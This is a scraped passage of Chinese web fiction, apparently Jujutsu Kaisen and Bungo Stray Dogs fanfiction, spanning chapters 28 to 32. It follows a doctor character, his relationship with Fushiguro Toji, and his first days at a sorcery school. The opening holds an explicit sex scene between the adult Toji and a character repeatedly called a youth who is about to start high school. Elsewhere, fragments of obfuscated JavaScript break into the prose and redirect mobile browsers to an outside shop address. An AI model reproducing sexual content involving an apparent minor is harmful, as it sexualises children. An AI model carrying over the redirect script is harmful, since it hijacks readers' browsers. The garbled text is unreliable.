伏黑甚尔的眼瞳盯着吊灯,耀白光点凝在瞳孔最中间,“你离开我,我会毁掉你所有在意的东西。” “挽留也该说点柔软的话吧。” 伏黑隐连这句话也没相信,俯身圈住他的脖颈,轻声道:“最迟两年后。” “两年后我就离开那里,到时候我们去旅游。” 他第一次展露出深爱的神情,用一双望向心爱之人的眼睛望着自己。 缠绵如春水,甜蜜似饴糖。 仅仅只是对视,便好似拥有了整个世界的圆满与幸福,周身都流淌着灼热的暖意。 “甚尔愿意等我吗?” ……… …… 昏暗的室内分不清白天晚上,凌乱床榻间,男人块垒分明的腹肌在昏沉光线里起伏。 汗水的咸涩混着潮气,撑着胸膛的指节泛白,被迫醒过来的人试图为自己寻找一个支点,“我说……” “嗯?” 男人喉间溢出的吐息砸在耳畔,伏黑隐第一次知道,原来说话也可以那么艰难。 ”现在是……” 伏黑隐声音卡在喉咙里,他费力给了伏黑甚尔一巴掌,才在渐缓下来的动作中吐出字句,“凌晨四点。” “白天没有事情。” 伏黑甚尔起身,汗水沿着轮廓分明的下颌滑落,“现在又没关系。”他低头,呼吸喷洒在伏黑隐的心口处。 昏暗的光线再次摇曳,将紧密相贴的影子投在墙壁上,忽然,伏黑隐低下头,高挺的鼻梁蹭到禅院甚尔额头。 他抬起手臂,更紧地环住了伏黑甚尔宽阔的脊背。 伏黑甚尔仰起头。 舌尖顶开齿关,湿润的唇瓣相贴时带来一阵战栗般的触感。 这个吻极具侵占性,却又奇异地缠绵。 他贪婪地卷走一切所迷恋的味道,又试图用自己的气息完全笼罩住对方。 牙齿不小心磕碰到对方的唇,尝到一丝极淡的铁锈味——不知是谁的唇被咬破了,这点细微的痛楚反而像一滴冷水坠入热油,让纠缠变得更加灼热。 伏黑甚尔磨蹭着,每一次轻若羽毛的触碰都像是电流窜过脊髓。 空气中弥漫着无法忽视的浓烈气息。 过了很久,两个人才分开。 伏黑甚尔将下巴埋进雪白的卷发中,“我做了一个梦。” 连抬手力气都没有的伏黑隐无语,“……这就是你大半夜发情的理由吗?” 伏黑甚尔没在第一时间开口,粗糙的手指抚上伏黑隐后颈,不轻不重地按揉着,等到怀里的人被这力道按的昏昏欲睡时,他才突然问: “高专必须去吗?” “什么?” 伏黑隐半眯着眼睛,没听清,“你再说一遍。” “没什么。” 他抱着人躺下去,将头埋进少年颈间,“隐,我们现在是什么关系?” “怎么,你想让我付钱?” “……” 伏黑甚尔突然笑出声,在另一人不明所以的目光下,用力将人嵌进怀中。 “我付钱。” “你之前说的,一个亿爱上我还算话吗?” 他没等回答,接着自己的话说下去,“必须算话。” “我可以等你,你也必须喜欢我。” “你在说什么鬼话?我要睡觉,别抱那么紧。” “……” “伏黑甚尔!你在咬哪里?!!” 29.第 29 章 …… 今年的冬日比往年更加寒冷,也更加漫长,鹅毛大雪在某一日突然飘落而下,将一切色彩掩埋冰封,余下无尽纯白。 单调而冰冷的纯净之色铺满诊所外的世界。 雪地中,少年模样的人站在尸体旁,浅色衣装与这片雪白苍茫合二为一。 蜿蜒的血迹不断蔓延,没进寒雪。 他面上没有多少表情,除却雪白,唯有的灿金也似封存在画框中的鎏金冰冷。 此地刚下了一场夹着雪的小雨,轻雾弥散,天色微沉,雪堆融化了一点,但并不明显, 伏黑隐的发梢沾染着水珠,不知是雨水还是朝露。 轻微的脚步声响起,他抬头,没多少情绪的眼睛望向来者。 “又来麻烦了啊。” 来者身形高大,如山峦巍峨,他勾起的唇角留着一道经年不愈的竖疤,那或许是一段记忆,一个教训,他也没有选择治愈。 嚓—— 男人按下打火机,拇指大小的火苗经过香烟,点出一缕不细不粗的烟雾,他余光瞥见伏黑隐眼睛里一闪而过的烦躁,低笑一声,吐出一道烟圈散在空气里。 “总比尸体好闻吧。”他说,幽绿的瞳孔扫过地上尸体,“那个经常在诊所边上的家伙?” 伏黑隐总算舍得正眼瞧他一眼,“对,是他。” 他取出用纸包住的药粉,对着尸体拍了张照片后,毫不犹豫洒向死亡已久的咒术师。 浓郁到令人作呕的血腥气爆发开来,伏黑隐屏住呼吸,转身回到了诊所。 禅院甚尔也跟着走进来,带着他独有的烟草气。 “出去。”他说。 “你用我的名头杀人,总该给我点好脸色吧。”大冬天还穿着那件黑色的贴身短袖,一点不受温度影响的男人倚在问诊桌前,不为所动。 伏黑隐洗着手术刀,“你想要什么好脸色?” 闻言,禅院甚尔还真的认真思考了片刻。 “面对正常患者的那种,不能这样对我吗?” “……” 伏黑隐掀起眼皮,金色眼睛上下打量一番禅院甚尔,最后笑了一下,“你脑子又烂了?” “想治脑子,”他端出一大盆没洗过的手术器具,推到禅院甚尔面前,“把这些洗了。” “准备丢弃的东西让我洗?” “难道你还想碰我新买的东西?” 禅院甚尔不置可否,“我昨天说的,你思考的怎么样了,要同意吗?” “再说吧。”他甩掉手上水珠,迎接了今天的第一位患者。 鲜血四溅。 坐在问诊桌后的医生交叠双腿,撑头看着又一个诅咒师死在禅院甚尔的刀下。 这是今天的第八位患者。 也是第八位死在诊所里的诅咒师。 他转着圆珠笔,脸上还维持着方才问诊时的温和笑意。 诅咒师袭击的很快,体术中上的医生来不及反应,试图刺伤自己的诅咒师就已经倒地了,又一眨眼,禅院甚尔将尸体踢了出去。 “啊,明明昨天还有一个病人的。” 医生有些郁闷,“看来太受欢迎的性格也不是一件好事。” “所以要不要跟我走?”禅院甚尔收起武器,挑眉道,“和我一起,你能去更多的地方。” 圆珠笔的笔尖停在空白问诊单上,落下不明显的一个点,医生看向门外彻底被染红的雪地。 灿金的瞳孔转而打量起一旁的禅院甚尔,看起来是在斟酌要不要做。 最后,他问:“我遇到的麻烦你来解决?” “如果跟我走的话,可以。” “可以。” 面对禅院甚尔有些意外的注视,伏黑隐露出一道笑,他能够做出无数丰富灵动的神情,最多的是笑。 灿烂到如同烈阳的笑。 没有人会觉得这样一个眉梢眼角都带着笑的人,是一个绝对利己主义的家伙。 就像伏黑隐说的,没有人会真正讨厌光。 “我需要一个够大的房子。” 医生开始说出他的条件。 “你又不住。”禅院甚尔说。 “你的儿子需要,我的妹妹,我的弟弟也需要,他们需要一个能够隔绝声音,随意嬉笑打闹的一个房子,哦,还有,你付水电费。” “这样的话你的分成只能够有百分之五。“ “我会把你的身价提上去,让你只接一千万以上的单子。” “……” “你还在收拾什么?有什么东西我们不能离开之后买?” 伏黑隐站起身,笑着对他晃了晃手里的玻璃瓶,那是一根干枯的手指,“战利品。” “还有纪念。”一沓有着无数诅咒师缺陷与弱点的诊断单,一些能够入体的电击设备,上面还沾着不同人的血。 ”你喜欢这些东西?” “这只是习惯,你为什么会觉得我喜欢这种……恶心的东西。” “那你喜欢什么?” “拯救世界,成为一个合格的医生,你笑什么,这个喜好不够崇高?” “这应该称之为梦想,或者说,妄想。” “……你这个口才,为什么会有那么多人喜欢你?” “我也在想,你这样的演技,为什么会有那么多人信以为真?” “……” 伏黑隐拢了拢过肩的卷发,对着镜子剪短,“如果你想,我也可以爱上你。” “要什么代价?” “一个亿,按分钟计算。” “没有便宜一点的吗?” “没有。” “做一次呢?” “……” 禅院甚尔呲着牙抽出胳膊上的手术刀,“就不能换一种攻击方式?” “有啊。” 他朝他勾勾手指。 在男人接近的瞬间,伏黑隐用力往中间踹了一脚。 ……… …… 踹爽了。 伏黑隐捂着脖子,龇牙咧嘴地起床,即使已经全部治愈了也还是有些幻痛。 妈的,那只大半夜发情的狗咬的真狠。 早知道不试商场出的那个新品了。 这什么破梦,也就后一个好一点,至少他还踹了一脚。 但最后还是殊途同归了。 忍痛买了两个一次性『入梦』,本意就是想让伏黑甚尔答应他去高专的事情。 要没这场梦,指不定要吵成什么样子。 伏黑隐拉开衣柜,从里拿出高专的制服。 不过第二场梦居然是在回忆吗,那些往事有什么好回忆的?他不太理解。 毕竟那个时期的伏黑隐,面对杀了自己好几次、但都没成功的禅院甚尔可没什么好态度。 伏黑甚尔离开得很早,现在在伏黑白那边帮着三个孩子收拾行李,装作什么都没有发生的样子,看起来格外的……慈祥。 他们也要回京都了。 差点被咬掉一块肉的伏黑隐拿起提前收拾好的行李,偶尔心有余悸地摸摸后脖颈。 他带过去的东西不多,整理好也只有一个书包的量。 检查着藏在身上的咒具,确认没有遗漏后,伏黑隐坐进了孔时雨的车。 “还以为你不会过去了。” 车载音乐响起,是有些过时的摇滚乐,作为有名的医生,出名的天与暴君,和在两人吵架时担任递话筒的中介,他们三个人的关系还算不错,“毕竟这段时间,每天都能听到好几句关于改姓的话。” 特别是在刚确定关系的那几天。 在推荐委托的时候,某位金牌杀手三句话不离自己的新姓氏。 伏黑隐翘着二郎腿,享受着他仅剩不多的放纵时间,“这是工作。” 抵达目的地,调整好状态的少年对着后视镜弯起了眼睛。 “多谢啦,这位好心的辅助监督先生。” …… ………… ——【^_^】 ——【费奥多尔·米哈伊洛维奇·陀思妥耶夫斯基。】 回复了十多天前的消息,藤原千学将窝在腿上小憩的三花猫扔开,从摇椅上下来。 这里是一个偏远的和风建筑,目前的武装侦探社就在这里落定,间贯一曾疑惑地问过,这样真的会有委托找上门吗? 虽说酒香不怕巷子深,但侦探社……没有这种东西吧? 问题是藤原千学回答的。 我们没有钱——他这样回答。 这个地方是别人免费提供的,据说是福泽谕吉的老师,开办侦探社这个想法,也是在那位老师的启发下建立的。 三刻构想。 一个极其理想化的构想。 藤原千学从庭院的摇椅走到缘侧,又丝滑地坐下了,三花猫叼着书勤勤恳恳跟在身后,把书放到旁边,使劲地拱了拱藤原千学。 封皮上写着它的名字——《局外人》 三花猫指了指书:“喵。” “我不要看。” 藤原千学抱着自己的电脑,背对着猫,俨然成为了一名网瘾少年。 “喵。” “不看。” 三花猫开始挠他的衣服,颇有他不看、打扰就不会停止的趋势。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16635798|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 藤原千学:“不看!” 三花猫:“喵!” 最后还是妥协了。 电脑差点被挠碎的藤原千学面无表情翻开书。 三花猫探头看了看页数,“喵。” “昨天就是看到这里。” “喵喵喵。” 三花猫伸爪,书页往前翻了数十页。 藤原千学:“。” 烦人。 这段时间社长和乱步在横滨破了不少案,武装侦探社也渐渐在城市间有了些名号。 就像这会儿,居然真的有人前来发布委托。 虽然只是一个简单的抓奸,委托人要求他们找到丈夫出轨的证据。 这个委托,在江户川乱步的提议下,尾崎红叶和间贯一去做了,目前正在跟踪委托人的丈夫。 整个晚香堂只有两个活人。 “喵!” 哦,还有一只猫。 另一个是乱步和社长在前几天带回来的人,比乱步小一岁,居住在尾崎红叶家中,目前正在复健。 午饭吃的是零食——毕竟总不能让一只猫掌勺。 十一点,藤原千学迫不及待地合上书,从自己的零食里抱起一大半,全部分享给了与谢野晶子。 “谢谢。”坐在轮椅上的少女小声道谢。 她是在接受了乱步入社邀请后,才在晚香堂遇见的藤原千学,那时是在清晨,抱着三花猫的男孩坐在廊道,看了她一眼,又平静地移开视线。 没什么令人不适的打量,他也不常在自己面前说话,与谢野晶子一开始以为是不喜欢她。 但这个想法在产生的十分钟后就自动消散了。 她发现藤原千学对谁都这样。 包括一只猫。 “千学有一些内向。” 福泽社长如此说,他的表情看不出一点心虚。 确实,与谢野晶子眼中的藤原千学很内向,他几乎只与乱步和社长说话。 ——“你管我吃什么!” 哦,还有一只猫。 侦探社愈发忙碌,无所事事的只剩他们两个,那么多次的单独相处,虽然一句话都没有说过,但与谢野晶子也多少猜到了一点藤原千学的性格。 有些幼稚。 很喜欢童话故事。 比如和一只猫说话,在他的眼中似乎是十分正常的事情。 一顿“午饭”吃了三个多小时,直到临近午后三点,衣服快被三花猫挠破的藤原千学才不情不愿地离开了。 他一边咕哝着“一只猫为什么要管人类的事情”,一边推着与谢野晶子,找了个能晒到太阳的地方。 不知道从哪得来的偏方,社长听说晒太阳能让人阳光一点,让藤原千学没事的时候多晒点太阳,乱步又将照顾与谢野的重任交给了他,美名其曰就算不出门也要运动。 但明明乱步才是最应该运动的那个吧。 明灿的日光经过树叶层层筛选,落到人身上时便算不上太热,藤原千学又抱着自己的折叠椅走过来,身后的三花猫叼着书亦步亦趋。 他没挨与谢野晶子太近,找了个能看见人的地方坐着,又开始和三花猫理论“为什么人类要听宠物的话写读后感”的问题。 “不写!这是笨蛋才会做的事情!” “喵喵!” 事实上与猫理论,且最后还真的听了话这件事,做出来时就已经有些像笨蛋了。 正是最茂盛时期的大树枝繁叶茂,郁郁葱葱像是要取代与谢野晶子头顶的那片天空,她的膝间放着藤原千学的书。 本意是想让她没那么无聊,但很明显,藤原千学没想过她看不看得懂的问题—— 这是一本与谢野晶子完·全看不懂的外文书籍。 看了看远处明显和三花猫吵上头了的藤原千学,又看了看手上只能够读懂数字的书籍,与谢野晶子深吸一口气,咬牙看了下去。 不能比更小的弟弟还不如。 …… 当天晚上,尾崎红叶找到了与谢野晶子。 年龄相仿的两个女生熟悉的很快,红发少女一进门便直奔主题,小声说道:“晶子,下次看不懂可以找藤原侦探换书的。” 找了本德语大全苦心钻研着的与谢野晶子:“……啊?” 只穿着一件浴衣,明显是临时从房间离开的尾崎红叶声音又压低了些:“藤原侦探说这本书的正文在32页。” “?” 与谢野晶子声音结巴:“那、那前面那么多字的……” “是作者寄语。” “!” 与谢野晶子捂住脸。 30.第 30 章 四月—— 七海建人提着行李箱,独自站在东京咒术高专的山脚下。 今天是高专新生报到入校的日子,据招收他入学的那位老师说,高年级的学长要比他们早几天回学校。 似乎是一位同期生因为术式原因一直留在学校,他们就提前结束了假期回来陪她,不知道会不会在报到时遇到——提到这里时,老师的话锋微妙地顿了一下,才继续说了下去。 他特别提到今年有一位特殊的学生,是总监会特招的,不出意外会和七海建人成为同期。 那位学生之前在二年级待过一段时间,和学长们相处得不错,不知道那位新生的性格怎么样,毕竟二年级的学生…… 除了女生,另外的性格都不是什么好性格——老师和七海建人明说,那是两个十分不合常理的学生。 回想起招生老师这番话,七海建人深吸一口气,只希望自己不要遭遇传说中的校园霸凌。 他提起行李箱,踏上了望不到边的石阶。 “嘿——你也是来报道的吗?” 一个充满活力的声音自身后响起,喘着粗气歇息的七海建人回头,看见一个留着蘑菇头的少年扛着行李箱健步如飞地跑到了他身前。 “我叫灰原雄,你呢?” “七海建人,你好。” “七海同学也是新生吗?我们一起去报道吧!”灰原雄笑容灿烂,极为自然顺手地扛起了七海建人的行李箱,“不知道同期会有多少位呢?我希望班主任会是个非常非常厉害的人!这样的话肯定能很快就变强啦。” “七海海觉得我们的学长学姐会是什么样的样子?我听老师说,二年级的前辈们都超级超级厉害,真的好期待和他们见面啊!” 他一边说着,一边敏锐地察觉到七海建人因登山而气息不匀,随即将两个行李箱稳稳叠扛在肩上,向七海伸出空着的手臂。 “我带你上去呀娜娜明。” “不用……”短短几句话就换了三个称呼的七海建人拒绝,“我……休息一会儿……就……可以了……” 灰原雄从善如流地放下行李箱,坐在七海建人身侧 ,又开始了他的喋喋不休。 “我真的好期待高专生活,不知道其他同期是什么样子的?听说高专的学生都特别少,现在人数最多的就是二年级的前辈,有三个人,我也希望我们能够有三个人,这样的话就可以一起打非常非常多的游戏!” 性格内敛,说话也内敛的七海建人张张嘴,刚想勉强应和两句,自来熟到有些变态的少年就已经开始了下一个话题。 为什么……会有那么多话啊…… “哇,你说那么多话,嘴巴不会干嘛?” 一道清亮的少年声音从下方石阶传来。 两人同时抬头,看见一位穿着米色大衣、样貌极为精致的白发少年正仰起头,同样好奇地望着他们。 “完全不会啦!而且我已经提前准备好矿泉水了,根本不用在意口渴这种问题,话说你也是来报道的新生嘛?我为什么没有看见你的行李箱啊?” 灰原雄日光站起身,热情地拍拍胸脯,“我力气超级大哦,可以帮忙扛行李箱。” “真的吗?”白发少年双眼一亮,雀跃地双手合十,用一双含着星海似的金色眼眸期待地望着他,“那就拜托你啦。” 他说着,郑重其事地将自己肩上的书包递给了灰原雄。 “保证完成任务!”灰原雄接过书包背到自己身上。 看着他斗志昂扬的模样,白发少年弯眸笑了笑,主动开口道:“我在高专上过一个月的课,对这里超级熟悉,所以有什么疑问的话,随时都可以问我喔。” 一个月……这就是招生老师说的那位特招生? 看起来很好相处的样子。 七海建人想。 “真的吗!那那那小隐,食堂的饭好吃吗?” “超——好——吃!” “太好了!小隐知道我们的班主任是谁吗?话说小隐之前是在二年级前辈那里上的课吗?二年级前辈都是什么样的呀?他们是不是都超级强大!” “欸,班主任我就不清楚啦,我从来不关注这些。” 被热情称为小隐的白发少年没在意这点称呼问题,关于二年级的问题,他想了想,“二年级的话……前辈们还是很热情的,就是有些时候……” “……” 听着前方两人在认识的五分钟内就交换了术式姓名——连他的那份也一并被灰原雄热情地介绍了出去——并从高专的山有多高,聊到灰原雄家乡发生过的大事件,最后又开始同仇敌忾声讨起医闹一系列对话。 七海建人沉默地走在最后,内心泛起一丝犹豫。 ……难道这就是他日后在高专的生活吗? 他下意识地回头望了望来路。 “娜娜明,不要落单了呀!”灰原雄的声音从前头传来。 “好。”七海建人应道。 越是往上走,阳光便越来越毒辣了。 两个完全不觉疲累的少年聊着聊着,突然说到了术式的使用上,灰原雄总结:“娜娜明一定很适合用刀。” 伏黑隐也点点头:“这种术式,感觉就是为刀而生的。” 七海建人思考着应该如何回应才不显得突兀,最后如实说道:“我惯用的确实是一把刀,不过在前几天就已经完全不能用了。” “因为不是咒具的原因吧?等入学就好了,以后出任务的时候,高专会让七海同学挑一个心仪的武器的。” 体型要比他纤弱不少的少年笑眯眯地回答,卷曲的白发跟着走动轻晃,充斥着自由与活力。 “我看到校门啦!”灰原雄的声音从高处传来,黑头发的少年站在与他们相隔十层石阶的位位置,兴奋地挥手,“娜娜明,小隐,我们要到了!” “好哦。”伏黑隐应了一声,拉住七海建人的手臂往上跑去,显得颇为兴奋,“不知道一年级的班主任会是谁呢?” “等等——”被风灌了一嘴的七海建人被迫闭嘴。 “我希望是非常非常厉害的老师!当然,不厉害也没关系,只要是老师就一定有能够让我进步的地方,话说小隐觉得我们还会有新的同期吗?我真的超级希望同期能够多一点!” “我也非常期待。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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随后,他便看着一脸明媚笑容的白发少年,从身上陆续翻出了抓钩、匕首、短剑、手术刀,以及一根手臂粗细的针管。 里面装满的荧绿色液体……“这是可以让人瞬间治愈的药剂!”本职还是黑心医生的伏黑隐热情地向同期介绍着自己的装备。 看起来有些不妙啊…… “就是过程有点痛啦,不过效果非常非常好,七海要试试吗?” 不知不觉把心里话说出来的七海建人:“……不用了,谢谢,请把它移开。” 针头对人真的有点恐怖。 “好吧。”伏黑隐失望地放下针筒。 灰原雄倒是兴致勃勃地戳了戳桌上的钩爪,“这些都是小隐的武器吗?” “对,以备不时之需。” 伏黑隐重新将抓钩绑在手上,再用宽大的袖口遮住,“毕竟咒术师是个很危险的职业嘛。” “不想死就需要再努力一点,谨慎一些。” 这位在成为咒术师后,从未亲自祓除过一只咒灵的医生,笑眯眯地补充道: “不过我很喜欢大家,所以完全不用担心会因为等级太低而死掉的问题哦。” 31.第 31 章 一番霸道发言,三级咒术师·无战力的伏黑隐,成功获得了三级咒术师·全防御·名为灰原雄的膜拜。 “这就是治疗系术式的强大吗!” 好游戏术语的称呼啊。 除了七海建人,在座的其他人都接受良好。 “嗯哼,这可是咒术界仅此一例的治愈术式。”伏黑隐自豪地说。 班主任的课气氛很压抑。 在座的三个人都不想拥有被那根手杖敲头的体验,所幸这位新来的黑冢老师话也不多。 发现三个人都整齐划一低着头,生怕被他叫着名字站起来的模样,换了件深蓝色西装的中年人用手杖重重敲了下地。 木质的地板不如瓷砖地清脆响亮,沉闷的一声敲进了几人的心里。 看着三人总算抬起了头,黑冢墨颔首,“上课不要低头。” 说完,他就一步一杖地走了。 刚走没几秒,安静的教室就响起少年轻微的声音:“好像没有昨天严厉了。” “难道是因为第一次见面,想用比平日正经一点的样子迎接学生?”另一道轻微的声音要更清脆。 “嗯……也有可能诶。” “而且感觉黑冢老师的拐杖很重,不知道有多少斤。” “那个应该叫手杖,拐杖不长这个样子啦。” “……现在是下课时间,你们完全没必要用这样的语气说话。” 教室安静了一瞬。 灰原雄抓抓头发,“好像也是哦。” “这样更有说悄悄话的氛围感嘛。”伏黑隐清清嗓子,恢复了正常说话的音量。 七海建人:“……”算了。 他一只手按着一颗脑袋,将他们从自己的课桌上推开。 一个年级只有三个人。 这是一件很悲催的事情,所以为了防止同期在人数稀少的教室中感觉到孤独,伏黑隐和灰原雄一拍即合,将三个人的课桌拼到了一起。 位置在正中间·民间咒术师·单独面对咒灵十五年·位置在正中间的七海建人:……不,我不会感到孤独。 他已经谦让过了,但另外两位明显比他更谦让。 好消息是他们在上课的时候都很安静,灰原雄在认真听讲,伏黑隐在假装认真听讲、埋头画画。 虽然不是很理解为什么老师看不到那么大一个速写本,并时不时赞赏地对白毛同期点头…… 七海建人还是慢慢适应了这个位置,他翻了翻课本,扭头叫了伏黑隐的名字:“一会儿是咒术理论课,我没看到有这本书,是遗发了吗?” “啊?” 伏黑隐的表情看起来有些困惑,“……原来我们还有这个课程吗?” 七海建人:“………” “我不记得的课应该都是拿来休息的课。”白毛同期拍了拍金毛同期的肩膀,“没有课本的课挺多的,安心啦。” 而七海建人这才发现,伏黑隐摆在课桌上的课本都是错的。 《人体解剖学图谱》 ——而这甚至不是课程里要用到的书。 “……好的。” 七海建人又默默扭头去看自己另一位同期,对上一双更加清澈的眼睛。 “我也没有那本书,七海海放心吧。” 灰原雄表示大家的起跑线都十分公平。 更不放心了。 最后发现居然真的不需要课本。 一节课在很魔幻的状态下上完了,伏黑隐合上速写本,这是上午最后一节课,下午就全是体术课了。 不需要上体术课的伏黑隐热情地给两位同期推荐着食堂饭菜。 “我超喜欢食堂的可乐饼,里面加了芝士,不过也因人而异啦,推荐你们吃完,再带一点可以补充能量的食物,毕竟第一次上体术课都会很累。” 话语刚落,伏黑隐便感觉自己的肩膀被一块重铁猛压下去,他急忙扶住旁边的桌子,才趔趄着站稳了。 “隐,一个假期过去还是那么弱啊。” 少年扬起的语调回响在空荡荡的食堂,七海建人看到了一个更高更大的白毛挤了过来,熟稔地揽住同期肩膀。 距离挨近了,头发便不由自主也交缠起来,两人同样雪白的发丝绞在一起,却冷暖分明。 “五条前辈……我只是个医生啊。”挣扎不能的伏黑隐叹气,维持着这个姿势向呆站在旁边的两个同期介绍,“这是二年级的前辈,五条悟。” “术式是无下限。” 五条悟张扬的眉眼从墨镜后露出,越过伏黑隐的肩膀朝他们看了一眼。 “哈哈哈——隐的同期也好弱啊!” 灰原雄:“………” 原来传闻中不好相处的前辈是这么个不好相处法啊。 七海建人:“………” 所以咒术师中还有正常人吗? “悟,在学弟面前稳重一点吧。” 才追上五条悟脚步赶来食堂的夏油杰无奈道,将五条悟从伏黑隐身上扒拉下来。 总算能够正常呼吸的伏黑隐大大地喘了口气,感谢道:“夏油前辈,你总是能救我于水火之中。” 五条悟听到这话,甩开挚友的手重新窜到伏黑隐面前,“老子也可以救隐,隐不能总是区别对待!” “等等——夏油救一救——” 被疯狂晃着肩膀的伏黑隐连敬语都来不及用了,连忙朝夏油杰伸出手。 然后被无下限挡住了。 伏黑隐:我的天逆鉾呢?! 最后,快把学弟脑浆摇匀的五条学长终于得到了他想要的答案。 “面对老子完全不需要害羞啦。”五条悟蹲到扶桶呕吐的伏黑隐旁边,拍了拍他的肩膀,“隐可以大胆把心里话说出来的。” “五条前辈。” 伏黑隐声音虚弱:“请……请离我远一点。” “哈哈哈隐你看你又害羞了,虽然老子确实有人见人爱的资本,但是这……” 旁观的灰原雄:“哇。” 旁观的夏油杰:“不,我们平时不是这样的,只是悟刚开学有点兴奋……” 旁观的七海建人:“……” 他在思考举报高专校园霸凌的可能性。 …… ……… 下午的体术课,伏黑隐照例没有参加,老早就去了医务室,家入硝子在结束日常训练后也去了一边玩手机。 其余六个人持续了极短暂的高年级与低年级的对打训练——三年级和一年级共同对战二年级。 五分钟后,夜蛾正道默默喊了停,取出四个咒骸交给了鼻青脸肿的新生和三年级生。 该怎么让五条悟和夏油杰知道,在课上对战训练是需要留手,而不是把人往死里揍的…… 自从认领了五条悟和夏油杰这两个学生,头发就一直在大把大把掉的夜蛾正道叹气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646305|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “但是弱小不就更应该被老子和杰揍嘛?”五条悟满不在乎地说,“和一样弱小的人打架根本起不到变强的作用,硝子和杰也是这样想的啊。” 不远处的家入硝子摆摆手,“不要再把我拉入战场啦。”但她还是轻轻点了点头。 “因为实在太弱小了,所以连请教都称不上,只是单方面地被完虐而已。”夏油杰也说,“两个同样弱小的人打赢了架,另一个也不一定会变得更强大吧。” 不愧是同期。 不愧是挚友。 夜蛾正道握拳。 但是这种理论到底是从哪里来的?到底是哪个无良教师教的?! 五条悟直到下课都不理解夜蛾正道为什么生气。 他头顶一个包咕哝着:“夜蛾肯定是更年期到了。” 夏油杰提着装满零食的袋子,他同样头顶一个包:“夜蛾老师最近离婚了,心情不好也是能够理解的。” 家入硝子扣开橙汁拉环,听到夏油杰的话感兴趣地“嗯?”了一声,“夜蛾离婚了?” “离婚是前段时间的事情吧,据说是因为长年分居导致的。”夏油杰说,“夜蛾老师的妻子是普通人,不知道咒术界的事情,所以一直对他在宗教学院任职这一选择有些不满。” “离婚算是最常见的结果吧,有关咒术师和普通人的爱情什么的。” 五条悟剥开糖纸,舌尖卷起糖果在嘴里滚动,“话说,隐喜欢的那个人,不会是个普通人吧?” “这谁知道呢?” 家入硝子捏扁空易拉罐,开始回想上学期自己和伏黑隐在医务室的相处。 “没有看出来有什么想念的人啊。” “隐会喜欢上一个人,这件事光是想想就很荒谬啊。”夏油杰低声道,他又一次想到了最开始看到那双眼睛时的惊喜与意外。 “之前还以为能问出隐画里的那个家伙呢,结果被赶出来了,不过这个年纪的隐果然要比……悟?你怎么了?” 家入硝子也扭头,疑惑地看向突然止步不前的五条悟。 五条悟脸上的笑容不知为何有些僵硬。 她似乎眼花地看见了自己上天入地无所不能的傲天同期额头冒出的冷汗。 夏油杰看到挚友深吸一口气。 再深吸一口气。 然后毫不犹豫地转身,迈开腿往外走去。 “五条同学。” 懒散悠闲的声音响起在三人身后,语调轻慢,尾音稍稍拖长,带着特有的,诵念祷词般的声韵。 夏油杰和家入硝子也僵在了原地。 皮鞋踏过木质地板发出的动静响起,一步近过一步,一声大过一声。 “怎么不回头,我等了你们很久。” 纤细高挑的身影从夏油杰余光走过,墨黑如夜的卷发散开,如从天空降落的黑云,渗透进深谷密林,地底荒海,将黑暗占满每一寸缝隙。 纵容是再温柔不过的擦肩,也像有冰水渗进了骨骼里,让人难受得紧。 夏油杰感觉到了自己呼吸的急促,他的心跳宛如在上万米高空蹦极,想放声大叫,喉咙又被猛灌进的气流捏紧。 五条悟看着那个人走近自己。 流动的黑色咒力在他出现的瞬间便充填住每一处空间,由内而外直至视野中宿舍楼外最远的路,都被纯粹的黑色占据着。 像是一场散不尽的大雾。 黑色的大雾。 32.第 32 章 “只是凑巧来到了这里。” 稍显紧凑的宿舍内,单独占据一张沙发的青年翘着腿,十分自然地从桌前的袋子里挑出一颗奶酪球,“不小心吞并了另一个我,你们应该没什么事找他吧。” “不过,有事也可以直接告诉我,反正没有区别。” 他穿着一件材质难辨的深灰色大衣,大衣样式简洁,没有半点多余线条,松松地披挂在青年身上,领口敞着,里面是件纯白的丝质衬衫。 几缕发丝垂落在他光洁的额前,带着些许潮湿的意味,青年半垂着眼,用带着笑意的语调问:“怎么不说话?” “虽然我确实做了会让你们产生阴影的事情,但也不至于这么挤兑老朋友吧?” 他撑着头,袖口下滑,露出一截苍白得近乎透明的手腕,以及腕间细得看不见的一根银链。 “……” 片刻的寂静后,五条悟突然以一种极其扭曲的姿势从沙发上刷的一声站起来,伸手指着青年,“你当着老子做过那么多破事,居然还问老子为什么不说话!” “悟……” 从青年出现后,就一直不敢抬头的夏油杰想要制止。 “哦?” 一声明显被带起了兴趣的字词打断他后续的话,夏油杰又蓦地将头垂至胸前。 面容苍白的青年勾起从袖口落下的链子,故作好奇的样子问:“我做了哪些事?” “你抓着老子去看螳螂○配!” 一提到这事,五条悟脸色就变得通红,活像什么被逼着第一次看片的纯情男高,“老子当时才……才十二岁!” “只是这件事吗?” 青年将链子绕上指节,银白光泽在亮堂的室内并不显眼,五条悟视线往那条链子偏移一瞬。 “还有……”他一个激灵,“不要再骗老子了!你这个恶劣的家伙肯定全部都记得!” 